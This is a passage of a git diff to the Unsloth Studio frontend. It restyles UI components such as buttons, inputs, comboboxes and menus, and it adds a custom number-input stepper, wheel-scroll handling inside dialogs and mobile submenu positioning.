+  "focus-visible:border-ring dark:focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 rounded-full border border-transparent text-sm font-medium aria-invalid:ring-[3px] [&_svg:not([class*='size-'])]:size-4 inline-flex items-center justify-center whitespace-nowrap transition-all disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none shrink-0 [&_svg]:shrink-0 outline-none group/button select-none cursor-pointer",
   {
     variants: {
       variant: {
         default: "bg-primary text-primary-foreground hover:bg-primary/80",
         dark: "bg-foreground text-background hover:bg-foreground/85 dark:bg-foreground dark:text-background",
         outline:
-          "border-border bg-input/30 hover:bg-input/50 hover:text-foreground aria-expanded:bg-muted aria-expanded:text-foreground",
+          "border-border bg-background hover:bg-accent/50 dark:border-transparent dark:bg-white/[0.06] dark:hover:bg-white/10 hover:text-foreground aria-expanded:bg-muted aria-expanded:text-foreground",
         secondary:
           "bg-secondary text-secondary-foreground hover:bg-secondary/80 aria-expanded:bg-secondary aria-expanded:text-secondary-foreground",
         ghost:
diff --git a/studio/frontend/src/components/ui/calendar.tsx b/studio/frontend/src/components/ui/calendar.tsx
index be52f9c354..6ace64bed6 100644
--- a/studio/frontend/src/components/ui/calendar.tsx
+++ b/studio/frontend/src/components/ui/calendar.tsx
@@ -225,7 +225,7 @@ function CalendarDayButton({
       data-range-end={modifiers.range_end}
       data-range-middle={modifiers.range_middle}
       className={cn(
-        "data-[selected-single=true]:bg-primary data-[selected-single=true]:text-primary-foreground data-[range-middle=true]:bg-muted data-[range-middle=true]:text-foreground data-[range-start=true]:bg-primary data-[range-start=true]:text-primary-foreground data-[range-end=true]:bg-primary data-[range-end=true]:text-primary-foreground group-data-[focused=true]/day:border-ring group-data-[focused=true]/day:ring-ring/50 dark:hover:text-foreground relative isolate z-10 flex aspect-square size-auto w-full min-w-(--cell-size) flex-col gap-1 border-0 leading-none font-normal group-data-[focused=true]/day:relative group-data-[focused=true]/day:z-10 group-data-[focused=true]/day:ring-[3px] data-[range-end=true]:rounded-(--cell-radius) data-[range-end=true]:rounded-r-(--cell-radius) data-[range-middle=true]:rounded-none data-[range-start=true]:rounded-(--cell-radius) data-[range-start=true]:rounded-l-(--cell-radius) [&>span]:text-xs [&>span]:opacity-70",
+        "data-[selected-single=true]:bg-primary data-[selected-single=true]:text-primary-foreground data-[range-middle=true]:bg-muted data-[range-middle=true]:text-foreground data-[range-start=true]:bg-primary data-[range-start=true]:text-primary-foreground data-[range-end=true]:bg-primary data-[range-end=true]:text-primary-foreground group-data-[focused=true]/day:border-ring group-data-[focused=true]/day:ring-ring dark:hover:text-foreground relative isolate z-10 flex aspect-square size-auto w-full min-w-(--cell-size) flex-col gap-1 border-0 leading-none font-normal group-data-[focused=true]/day:relative group-data-[focused=true]/day:z-10 group-data-[focused=true]/day:ring-1 data-[range-end=true]:rounded-(--cell-radius) data-[range-end=true]:rounded-r-(--cell-radius) data-[range-middle=true]:rounded-none data-[range-start=true]:rounded-(--cell-radius) data-[range-start=true]:rounded-l-(--cell-radius) [&>span]:text-xs [&>span]:opacity-70",
         defaultClassNames.day,
         className,
       )}
diff --git a/studio/frontend/src/components/ui/checkbox.tsx b/studio/frontend/src/components/ui/checkbox.tsx
index edd8965348..c770b5c3e1 100644
--- a/studio/frontend/src/components/ui/checkbox.tsx
+++ b/studio/frontend/src/components/ui/checkbox.tsx
@@ -16,7 +16,7 @@ function Checkbox({
     <CheckboxPrimitive.Root
       data-slot="checkbox"
       className={cn(
-        "border-input dark:bg-input/30 data-checked:bg-primary data-checked:text-primary-foreground dark:data-checked:bg-primary data-checked:border-primary aria-invalid:aria-checked:border-primary aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 flex size-4 items-center justify-center rounded-[6px] border transition-shadow group-has-disabled/field:opacity-50 focus-visible:ring-[3px] aria-invalid:ring-[3px] peer relative shrink-0 outline-none after:absolute after:-inset-x-3 after:-inset-y-2 disabled:cursor-not-allowed disabled:opacity-50",
+        "border-input dark:bg-input/30 data-checked:bg-primary data-checked:text-primary-foreground dark:data-checked:bg-primary data-checked:border-primary aria-invalid:aria-checked:border-primary aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 focus-visible:border-ring dark:focus-visible:border-ring aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 flex size-4 items-center justify-center rounded-[6px] border transition-shadow group-has-disabled/field:opacity-50 aria-invalid:ring-[3px] peer relative shrink-0 outline-none after:absolute after:-inset-x-3 after:-inset-y-2 disabled:cursor-not-allowed disabled:opacity-50",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/combobox.tsx b/studio/frontend/src/components/ui/combobox.tsx
index db2d494b6d..11ba03a3e8 100644
--- a/studio/frontend/src/components/ui/combobox.tsx
+++ b/studio/frontend/src/components/ui/combobox.tsx
@@ -139,6 +139,7 @@ function ComboboxContent({
   alignOffset = 0,
   anchor,
   container,
+  onWheel,
   ...props
 }: ComboboxPrimitive.Popup.Props &
   Pick<
@@ -161,6 +162,24 @@ function ComboboxContent({
         <ComboboxPrimitive.Popup
           data-slot="combobox-content"
           data-chips={!!anchor}
+          onWheel={(event) => {
+            onWheel?.(event);
+            // Dialog scroll locks cancel native wheel scrolling on this
+            // body-portaled popup, so scroll the list by hand while one is
+            // active.
+            if (!document.body.hasAttribute("data-scroll-locked")) return;
+            const list = event.currentTarget.querySelector<HTMLElement>(
+              '[data-slot="combobox-list"]',
+            );
+            if (!list) return;
+            const step =
+              event.deltaMode === 1
+                ? event.deltaY * 24
+                : event.deltaMode === 2
+                  ? event.deltaY * list.clientHeight
+                  : event.deltaY;
+            list.scrollTop += step;
+          }}
           className={cn(
             "bg-popover text-popover-foreground data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 *:data-[slot=input-group]:bg-input/30 max-h-72 min-w-36 overflow-hidden rounded-xl corner-squircle duration-100 *:data-[slot=input-group]:m-1 *:data-[slot=input-group]:mb-0 *:data-[slot=input-group]:h-9 *:data-[slot=input-group]:border-none *:data-[slot=input-group]:shadow-none group/combobox-content relative pointer-events-auto max-h-(--available-height) w-(--anchor-width) max-w-(--available-width) min-w-[calc(var(--anchor-width)+--spacing(7))] origin-(--transform-origin) data-[chips=true]:min-w-(--anchor-width)",
             className,
@@ -290,7 +309,7 @@ function ComboboxChips({
     <ComboboxPrimitive.Chips
       data-slot="combobox-chips"
       className={cn(
-        "bg-input/30 border-input focus-within:border-ring focus-within:ring-ring/50 has-aria-invalid:ring-destructive/20 dark:has-aria-invalid:ring-destructive/40 has-aria-invalid:border-destructive dark:has-aria-invalid:border-destructive/50 flex min-h-9 flex-wrap items-center gap-1.5 rounded-4xl border bg-clip-padding px-2.5 py-1.5 text-sm transition-colors focus-within:ring-[3px] has-aria-invalid:ring-[3px] has-data-[slot=combobox-chip]:px-1.5",
+        "bg-input/30 border-input dark:border-transparent focus-within:border-ring dark:focus-within:border-transparent dark:focus-within:bg-white/[0.09] has-aria-invalid:ring-destructive/20 dark:has-aria-invalid:ring-destructive/40 has-aria-invalid:border-destructive dark:has-aria-invalid:border-destructive/50 flex min-h-9 flex-wrap items-center gap-1.5 rounded-4xl border bg-clip-padding px-2.5 py-1.5 text-sm transition-colors has-aria-invalid:ring-[3px] has-data-[slot=combobox-chip]:px-1.5",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/command.tsx b/studio/frontend/src/components/ui/command.tsx
index 72b15a712f..27e0d3d078 100644
--- a/studio/frontend/src/components/ui/command.tsx
+++ b/studio/frontend/src/components/ui/command.tsx
@@ -75,8 +75,8 @@ function CommandInput({
   ...props
 }: React.ComponentProps<typeof CommandPrimitive.Input>) {
   return (
-    <div data-slot="command-input-wrapper" className="p-1 pb-0">
-      <InputGroup className="bg-input/30 h-9">
+    <div data-slot="command-input-wrapper" className="p-0 pb-1">
+      <InputGroup className="h-9">
         <CommandPrimitive.Input
           data-slot="command-input"
           className={cn(
@@ -164,7 +164,7 @@ function CommandItem({
     <CommandPrimitive.Item
       data-slot="command-item"
       className={cn(
-        "data-selected:bg-muted data-selected:text-foreground data-selected:*:[svg]:text-foreground relative flex cursor-default items-center gap-2 rounded-lg px-3 py-2 text-sm outline-hidden select-none [&_svg:not([class*='size-'])]:size-4 [[data-slot=dialog-content]_&]:rounded-2xl group/command-item data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
+        "data-selected:bg-accent data-selected:text-accent-foreground data-selected:*:[svg]:text-accent-foreground relative flex cursor-default items-center gap-2 rounded-lg px-3 py-2 text-sm outline-hidden select-none [&_svg:not([class*='size-'])]:size-4 group/command-item data-[disabled=true]:pointer-events-none data-[disabled=true]:opacity-50 [&_svg]:pointer-events-none [&_svg]:shrink-0",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/copyable-error-chip.tsx b/studio/frontend/src/components/ui/copyable-error-chip.tsx
index d4b386d375..595df5cf62 100644
--- a/studio/frontend/src/components/ui/copyable-error-chip.tsx
+++ b/studio/frontend/src/components/ui/copyable-error-chip.tsx
@@ -53,7 +53,7 @@ export function CopyableErrorChip({
         <button
           type="button"
           className={cn(
-            "flex max-w-[28rem] min-w-0 cursor-pointer items-center rounded-md text-left text-xs text-destructive transition-colors hover:bg-destructive/10 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+            "flex max-w-[28rem] min-w-0 cursor-pointer items-center rounded-md text-left text-xs text-destructive transition-colors hover:bg-destructive/10 focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
             className,
           )}
         >
@@ -72,7 +72,7 @@ export function CopyableErrorChip({
             onClick={handleCopy}
             aria-label={copied ? "Copied" : "Copy error message"}
             className={cn(
-              "inline-flex items-center gap-1 rounded-md border border-border/60 px-2 py-1 text-[11px] text-muted-foreground transition-colors hover:bg-muted/60 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+              "inline-flex items-center gap-1 rounded-md border border-border/60 px-2 py-1 text-[11px] text-muted-foreground transition-colors hover:bg-muted/60 focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
               copied && "border-emerald-500/40 text-emerald-600 dark:text-emerald-500",
             )}
           >
diff --git a/studio/frontend/src/components/ui/dropdown-menu.tsx b/studio/frontend/src/components/ui/dropdown-menu.tsx
index fe0270a63e..ea6dbbb6e7 100644
--- a/studio/frontend/src/components/ui/dropdown-menu.tsx
+++ b/studio/frontend/src/components/ui/dropdown-menu.tsx
@@ -2,10 +2,11 @@
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 import { DropdownMenu as DropdownMenuPrimitive } from "radix-ui";
-import type * as React from "react";
+import * as React from "react";
 
 import { Tick02Icon } from "@/lib/tick-icon";
 import { ChevronRightStandardIcon } from "@/lib/chevron-icons";
+import { useIsMobile } from "@/hooks/use-mobile";
 import { cn } from "@/lib/utils";
 import { HugeiconsIcon } from "@hugeicons/react";
 
@@ -206,6 +207,14 @@ function DropdownMenuShortcut({
   );
 }
 
+function assignRef<T>(ref: React.Ref<T> | undefined, value: T | null) {
+  if (typeof ref === "function") {
+    ref(value);
+  } else if (ref) {
+    ref.current = value;
+  }
+}
+
 function DropdownMenuSub({
   ...props
 }: React.ComponentProps<typeof DropdownMenuPrimitive.Sub>) {
@@ -242,17 +251,63 @@ function DropdownMenuSubTrigger({
 
 function DropdownMenuSubContent({
   className,
+  sideOffset,
+  style,
+  ref,
   ...props
 }: React.ComponentProps<typeof DropdownMenuPrimitive.SubContent>) {
+  const isMobile = useIsMobile();
+  const [contentWidth, setContentWidth] = React.useState(0);
+  const resizeObserverRef = React.useRef<ResizeObserver | null>(null);
+  const composedRef = React.useCallback(
+    (
+      element: React.ComponentRef<
+        typeof DropdownMenuPrimitive.SubContent
+      > | null,
+    ) => {
+      resizeObserverRef.current?.disconnect();
+      resizeObserverRef.current = null;
+      assignRef(ref, element);
+      if (!element) return;
+
+      const updateContentWidth = () => {
+        setContentWidth(element.offsetWidth);
+      };
+      updateContentWidth();
+
+      if (typeof ResizeObserver !== "undefined") {
+        resizeObserverRef.current = new ResizeObserver(updateContentWidth);
+        resizeObserverRef.current.observe(element);
+      }
+    },
+    [ref],
+  );
+
+  React.useEffect(
+    () => () => {
+      resizeObserverRef.current?.disconnect();
+    },
+    [],
+  );
+
+  const compactSideOffset =
+    isMobile && contentWidth > 0 ? -contentWidth : sideOffset;
   return (
     // Portaled like DropdownMenuContent: rendered inline, the fixed popper
     // wrapper is a descendant of the parent menu's scroll container, so any
     // transform there turns on overflow clipping and hides the submenu.
     <DropdownMenuPrimitive.Portal>
       <DropdownMenuPrimitive.SubContent
+        ref={composedRef}
         data-slot="dropdown-menu-sub-content"
+        sideOffset={compactSideOffset}
+        style={{
+          ...style,
+          visibility:
+            isMobile && contentWidth === 0 ? "hidden" : style?.visibility,
+        }}
         className={cn(
-          "data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 bg-popover text-popover-foreground min-w-36 rounded-lg p-1 duration-100 z-50 origin-(--radix-dropdown-menu-content-transform-origin) overflow-hidden",
+          "data-open:animate-in data-closed:animate-out data-closed:fade-out-0 data-open:fade-in-0 data-closed:zoom-out-95 data-open:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 bg-popover text-popover-foreground min-w-36 max-w-[calc(100vw-2rem)] rounded-lg p-1 duration-100 z-50 origin-(--radix-dropdown-menu-content-transform-origin) overflow-hidden",
           className,
         )}
         {...props}
diff --git a/studio/frontend/src/components/ui/field.tsx b/studio/frontend/src/components/ui/field.tsx
index f1e6b23999..2a24d1ace7 100644
--- a/studio/frontend/src/components/ui/field.tsx
+++ b/studio/frontend/src/components/ui/field.tsx
@@ -107,7 +107,7 @@ function FieldLabel({
     <Label
       data-slot="field-label"
       className={cn(
-        "has-data-checked:bg-primary/5 has-data-checked:border-primary/50 dark:has-data-checked:bg-primary/10 gap-2 group-data-[disabled=true]/field:opacity-50 has-[>[data-slot=field]]:rounded-xl has-[>[data-slot=field]]:border [&>*]:data-[slot=field]:p-4 group/field-label peer/field-label flex w-fit leading-snug",
+        "has-data-checked:bg-primary/5 has-data-checked:border-ring-strong dark:has-data-checked:bg-primary/10 gap-2 group-data-[disabled=true]/field:opacity-50 has-[>[data-slot=field]]:rounded-xl has-[>[data-slot=field]]:border [&>*]:data-[slot=field]:p-4 group/field-label peer/field-label flex w-fit leading-snug",
         "has-[>[data-slot=field]]:w-full has-[>[data-slot=field]]:flex-col",
         className,
       )}
diff --git a/studio/frontend/src/components/ui/info-hint.tsx b/studio/frontend/src/components/ui/info-hint.tsx
index 4433478647..db663c792e 100644
--- a/studio/frontend/src/components/ui/info-hint.tsx
+++ b/studio/frontend/src/components/ui/info-hint.tsx
@@ -20,7 +20,7 @@ export function InfoHint({ children }: { children: ReactNode }) {
         <button
           type="button"
           aria-label="More info"
-          className="inline-flex size-4 shrink-0 cursor-help items-center justify-center rounded-full text-muted-foreground/70 transition-colors hover:text-[#383835] dark:hover:text-[#e8e8e8] focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+          className="inline-flex size-4 shrink-0 cursor-help items-center justify-center rounded-full text-muted-foreground/70 transition-colors hover:text-[#383835] dark:hover:text-[#e8e8e8] focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
         >
           <HugeiconsIcon
             icon={InformationCircleIcon}
diff --git a/studio/frontend/src/components/ui/input-group.tsx b/studio/frontend/src/components/ui/input-group.tsx
index 06f3dd79d6..55984452f0 100644
--- a/studio/frontend/src/components/ui/input-group.tsx
+++ b/studio/frontend/src/components/ui/input-group.tsx
@@ -15,7 +15,7 @@ function InputGroup({ className, ...props }: React.ComponentProps<"div">) {
       data-slot="input-group"
       role="group"
       className={cn(
-        "border-input bg-input/30 has-[[data-slot=input-group-control]:focus-visible]:border-ring has-[[data-slot=input-group-control]:focus-visible]:ring-ring/50 has-[[data-slot][aria-invalid=true]]:ring-destructive/20 has-[[data-slot][aria-invalid=true]]:border-destructive dark:has-[[data-slot][aria-invalid=true]]:ring-destructive/40 h-9 rounded-4xl border transition-colors has-data-[align=block-end]:rounded-2xl has-data-[align=block-start]:rounded-2xl has-[[data-slot=input-group-control]:focus-visible]:ring-[3px] has-[[data-slot][aria-invalid=true]]:ring-[3px] has-[textarea]:rounded-xl has-[>[data-align=block-end]]:h-auto has-[>[data-align=block-end]]:flex-col has-[>[data-align=block-start]]:h-auto has-[>[data-align=block-start]]:flex-col has-[>[data-align=block-end]]:[&>input]:pt-3 has-[>[data-align=block-start]]:[&>input]:pb-3 has-[>[data-align=inline-end]]:[&>input]:pr-1.5 has-[>[data-align=inline-start]]:[&>input]:pl-1.5 [[data-slot=combobox-content]_&]:focus-within:border-inherit [[data-slot=combobox-content]_&]:focus-within:ring-0 group/input-group relative flex w-full min-w-0 items-center outline-none has-[>textarea]:h-auto",
+        "border-border bg-background dark:border-transparent dark:bg-white/[0.06] has-[[data-slot=input-group-control]:focus-visible]:border-ring dark:has-[[data-slot=input-group-control]:focus-visible]:border-transparent dark:has-[[data-slot=input-group-control]:focus-visible]:bg-white/[0.12] has-[[data-slot][aria-invalid=true]]:ring-destructive/20 has-[[data-slot][aria-invalid=true]]:border-destructive dark:has-[[data-slot][aria-invalid=true]]:ring-destructive/40 h-9 rounded-full border transition-colors has-data-[align=block-end]:rounded-2xl has-data-[align=block-start]:rounded-2xl has-[[data-slot][aria-invalid=true]]:ring-[3px] has-[textarea]:rounded-xl has-[>[data-align=block-end]]:h-auto has-[>[data-align=block-end]]:flex-col has-[>[data-align=block-start]]:h-auto has-[>[data-align=block-start]]:flex-col has-[>[data-align=block-end]]:[&>input]:pt-3 has-[>[data-align=block-start]]:[&>input]:pb-3 has-[>[data-align=inline-end]]:[&>input]:pr-1.5 has-[>[data-align=inline-start]]:[&>input]:pl-1.5 [[data-slot=combobox-content]_&]:focus-within:border-inherit [[data-slot=combobox-content]_&]:focus-within:ring-0 group/input-group relative flex w-full min-w-0 items-center outline-none has-[>textarea]:h-auto",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/input.tsx b/studio/frontend/src/components/ui/input.tsx
index 4dfdf484a7..f98790eb01 100644
--- a/studio/frontend/src/components/ui/input.tsx
+++ b/studio/frontend/src/components/ui/input.tsx
@@ -5,18 +5,142 @@ import type * as React from "react";
 
 import { cn } from "@/lib/utils";
 
-function Input({ className, type, ...props }: React.ComponentProps<"input">) {
+const BASE_CLASSES =
+  // White fill with a subtle border,
+  // fully-rounded pill for single-row controls.
+  "bg-background border-border dark:border-transparent dark:bg-white/[0.06] focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 h-9 rounded-full border px-3.5 py-1 text-base transition-colors file:h-7 file:text-sm file:font-medium aria-invalid:ring-[3px] md:text-sm file:text-foreground placeholder:text-muted-foreground w-full min-w-0 outline-none file:inline-flex file:border-0 file:bg-transparent disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50";
+
+function stepNumberInput(input: HTMLInputElement, direction: 1 | -1): void {
+  if (input.disabled || input.readOnly) {
+    return;
+  }
+  const step = input.step === "" ? 1 : Number(input.step) || 1;
+  const min = input.min === "" ? null : Number(input.min);
+  const max = input.max === "" ? null : Number(input.max);
+  // An empty field steps from its placeholder (the effective default).
+  const current =
+    input.value === "" ? Number(input.placeholder) : Number(input.value);
+  let next: number;
+  if (Number.isFinite(current)) {
+    // Snap to the step grid (anchored at min, like the native spinner) rather
+    // than adding step to an off-grid typed value, which would leave a
+    // step-invalid result. Mirrors HTMLInputElement.stepUp/stepDown.
+    const base = min ?? 0;
+    const pos = (current - base) / step;
+    const rounded = Math.round(pos);
+    const onGrid = Math.abs(pos - rounded) < 1e-9;
+    const nextPos = onGrid
+      ? rounded + direction
+      : direction === 1
+        ? Math.ceil(pos)
+        : Math.floor(pos);
+    next = base + nextPos * step;
+  } else {
+    // Stepping an empty, non-numeric field starts from the minimum, matching
+    // the native spinner.
+    next = min ?? direction * step;
+  }
+  if (min !== null) {
+    next = Math.max(min, next);
+  }
+  if (max !== null) {
+    next = Math.min(max, next);
+  }
+  // Trim float noise from fractional steps.
+  const decimals = (String(step).split(".")[1] ?? "").length;
+  const value = String(Number(next.toFixed(decimals)));
+  // Write through the native setter and emit "input" so the React onChange
+  // of controlled callers fires.
+  const setter = Object.getOwnPropertyDescriptor(
+    HTMLInputElement.prototype,
+    "value",
+  )?.set;
+  setter?.call(input, value);
+  input.dispatchEvent(new Event("input", { bubbles: true }));
+}
+
+function StepperArrow({ direction }: { direction: 1 | -1 }) {
   return (
+    <svg
+      viewBox="0 0 10 6"
+      aria-hidden="true"
+      className={cn("h-[5px] w-2", direction === -1 && "rotate-180")}
+    >
+      <path d="M5 0.5 9 5.5H1Z" fill="currentColor" />
+    </svg>
+  );
+}
+
+function StepperButton({ direction }: { direction: 1 | -1 }) {
+  return (
+    <button
+      type="button"
+      tabIndex={-1}
+      onMouseDown={(event) => {
+        // Keep focus on the field itself.
+        event.preventDefault();
+      }}
+      onClick={(event) => {
+        const input = event.currentTarget
+          .closest('[data-slot="number-input"]')
+          ?.querySelector("input");
+        if (input) {
+          input.focus({ preventScroll: true });
+          stepNumberInput(input, direction);
+        }
+      }}
+      className="flex h-1/2 w-full cursor-default items-center justify-center text-foreground/55 hover:bg-black/10 active:bg-black/15 dark:text-white/70 dark:hover:bg-white/10 dark:active:bg-white/15"
+    >
+      <StepperArrow direction={direction} />
+    </button>
+  );
+}
+
+function Input({ className, type, ...props }: React.ComponentProps<"input">) {
+  const field = (
     <input
       type={type}
       data-slot="input"
-      className={cn(
-        "bg-input/30 border-input focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 h-9 rounded-4xl border px-3 py-1 text-base transition-colors file:h-7 file:text-sm file:font-medium focus-visible:ring-[3px] aria-invalid:ring-[3px] md:text-sm file:text-foreground placeholder:text-muted-foreground w-full min-w-0 outline-none file:inline-flex file:border-0 file:bg-transparent disabled:pointer-events-none disabled:cursor-not-allowed disabled:opacity-50",
-        className,
-      )}
+      className={cn(BASE_CLASSES, type === "number" && "pr-8", className)}
       {...props}
     />
   );
+  if (type !== "number") {
+    return field;
+  }
+  // Number fields swap the native spinner (hidden globally in index.css) for
+  // a shared grey stepper.
+  return (
+    <span
+      data-slot="number-input"
+      className={cn(
+        // The wrapper is now the flex/grid item, so mirror the field's width:
+        // default to the full width the bare input used, and let an explicit
+        // w-*/max-w-* from the caller win so the stepper stays on the field edge.
+        // Also carry React Flow interaction classes (nodrag/nopan/nowheel) so
+        // the stepper buttons, which live in the wrapper, don't drag the node.
+        "group/number relative inline-flex items-center w-full min-w-0",
+        (className ?? "")
+          .split(/\s+/)
+          .filter(
+            (c) =>
+              /^(?:min-w|max-w|w)-/.test(c) ||
+              c === "nodrag" ||
+              c === "nopan" ||
+              c === "nowheel",
+          ),
+      )}
+    >
+      {field}
+      <span
+        aria-hidden="true"
+        className="absolute top-1/2 right-1.5 flex h-[21px] w-4 -translate-y-1/2 flex-col overflow-hidden rounded-[5px] bg-black/[0.07] group-has-[input:disabled]/number:pointer-events-none group-has-[input:disabled]/number:opacity-40 dark:bg-white/[0.12]"
+      >
+        <StepperButton direction={1} />
+        <StepperButton direction={-1} />
+      </span>
+    </span>
+  );
 }
 
 export { Input };
diff --git a/studio/frontend/src/components/ui/navigation-menu.tsx b/studio/frontend/src/components/ui/navigation-menu.tsx
index 3014c3f66c..f8a6dfc503 100644
--- a/studio/frontend/src/components/ui/navigation-menu.tsx
+++ b/studio/frontend/src/components/ui/navigation-menu.tsx
@@ -8,7 +8,7 @@ import { NavigationMenu as NavigationMenuPrimitive } from "radix-ui";
 import type * as React from "react";
 
 import { cn } from "@/lib/utils";
-import { ArrowDown01Icon } from "@hugeicons/core-free-icons";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 
 export function NavigationMenu({
@@ -69,7 +69,7 @@ export function NavigationMenuItem({
 }
 
 export const navigationMenuTriggerStyle = cva(
-  "bg-background hover:bg-muted focus:bg-muted data-open:hover:bg-muted data-open:focus:bg-muted data-open:bg-muted/50 focus-visible:ring-ring/50 data-popup-open:bg-muted/50 data-popup-open:hover:bg-muted rounded-2xl px-4.5 py-2.5 text-sm font-medium transition-all focus-visible:ring-[3px] focus-visible:outline-1 disabled:opacity-50 group/navigation-menu-trigger inline-flex h-9 w-max items-center justify-center disabled:pointer-events-none outline-none",
+  "bg-background hover:bg-muted focus:bg-muted data-open:hover:bg-muted data-open:focus:bg-muted data-open:bg-muted/50 focus-visible:ring-ring data-popup-open:bg-muted/50 data-popup-open:hover:bg-muted rounded-2xl px-4.5 py-2.5 text-sm font-medium transition-all focus-visible:ring-1 focus-visible:outline-1 disabled:opacity-50 group/navigation-menu-trigger inline-flex h-9 w-max items-center justify-center disabled:pointer-events-none outline-none",
 );
 
 export function NavigationMenuTrigger({
@@ -87,7 +87,7 @@ export function NavigationMenuTrigger({
     >
       {children}{" "}
       <HugeiconsIcon
-        icon={ArrowDown01Icon}
+        icon={ChevronDownStandardIcon}
         strokeWidth={2}
         className="relative top-[1px] ml-1 size-3 transition duration-300 group-data-open/navigation-menu-trigger:rotate-180 group-data-popup-open/navigation-menu-trigger:rotate-180"
         aria-hidden="true"
@@ -148,7 +148,7 @@ export function NavigationMenuLink({
     <NavigationMenuPrimitive.Link
       data-slot="navigation-menu-link"
       className={cn(
-        "data-[active=true]:focus:bg-muted data-[active=true]:hover:bg-muted data-[active=true]:bg-muted/50 focus-visible:ring-ring/50 hover:bg-muted focus:bg-muted flex items-center gap-1.5 rounded-xl p-3 text-sm transition-all outline-none focus-visible:ring-[3px] focus-visible:outline-1 [&_svg:not([class*='size-'])]:size-4",
+        "data-[active=true]:focus:bg-muted data-[active=true]:hover:bg-muted data-[active=true]:bg-muted/50 focus-visible:ring-ring hover:bg-muted focus:bg-muted flex items-center gap-1.5 rounded-xl p-3 text-sm transition-all outline-none focus-visible:ring-1 focus-visible:outline-1 [&_svg:not([class*='size-'])]:size-4",
         className,
       )}
       {...props}
diff --git a/studio/frontend/src/components/ui/popover.tsx b/studio/frontend/src/components/ui/popover.tsx
index e3a3cf1ebe..1a7d1d58cd 100644
--- a/studio/frontend/src/components/ui/popover.tsx
+++ b/studio/frontend/src/components/ui/popover.tsx
@@ -6,6 +6,7 @@
 import { Popover as PopoverPrimitive } from "radix-ui";
 import type * as React from "react";
 
+import { useDialogPortalContainer } from "@/components/ui/dialog";
 import { cn } from "@/lib/utils";
 
 function Popover({
@@ -24,10 +25,18 @@ function PopoverContent({
   className,
   align = "center",
   sideOffset = 0,
+  container,
   ...props
-}: React.ComponentProps<typeof PopoverPrimitive.Content>) {
+}: React.ComponentProps<typeof PopoverPrimitive.Content> & {
+  container?: HTMLElement | null;
+}) {
+  // Inside a modal dialog the body scroll lock swallows wheel events on
+  // body-portaled content; portal into the dialog instead (like Select).
+  const dialogContainer = useDialogPortalContainer();
   return (
-    <PopoverPrimitive.Portal>
+    <PopoverPrimitive.Portal
+      container={container ?? dialogContainer ?? undefined}
+    >
       <PopoverPrimitive.Content
         data-slot="popover-content"
         align={align}
diff --git a/studio/frontend/src/components/ui/progress.tsx b/studio/frontend/src/components/ui/progress.tsx
index d62a09042a..200bbcba31 100644
--- a/studio/frontend/src/components/ui/progress.tsx
+++ b/studio/frontend/src/components/ui/progress.tsx
@@ -27,7 +27,10 @@ function Progress({
     >
       <ProgressPrimitive.Indicator
         data-slot="progress-indicator"
-        className={cn("bg-primary size-full flex-1 transition-all", indicatorClassName)}
+        className={cn(
+          "bg-control-accent size-full flex-1 transition-all",
+          indicatorClassName,
+        )}
         style={{ transform: `translateX(-${100 - (value || 0)}%)` }}
       />
     </ProgressPrimitive.Root>
diff --git a/studio/frontend/src/components/ui/radio-group.tsx b/studio/frontend/src/components/ui/radio-group.tsx
index 0f9d4b2407..62225adc6e 100644
--- a/studio/frontend/src/components/ui/radio-group.tsx
+++ b/studio/frontend/src/components/ui/radio-group.tsx
@@ -29,7 +29,7 @@ function RadioGroupItem({
     <RadioGroupPrimitive.Item
       data-slot="radio-group-item"
       className={cn(
-        "border-input text-primary dark:bg-input/30 focus-visible:border-ring focus-visible:ring-ring/50 aria-invalid:ring-destructive/20 dark:aria-invalid:ring-destructive/40 aria-invalid:border-destructive dark:aria-invalid:border-destructive/50 data-checked:bg-primary data-checked:border-primary flex size-4 rounded-full transition-none focus-visible:ring-[3px] aria-invalid:ring-[3px] group/radio-group-item peer relative aspect-square shrink-0 border outline-none after:absolute after:-inset-x-3 after:-inset-y-2 disabled:cursor-not-allowed disabled:opacity-50",
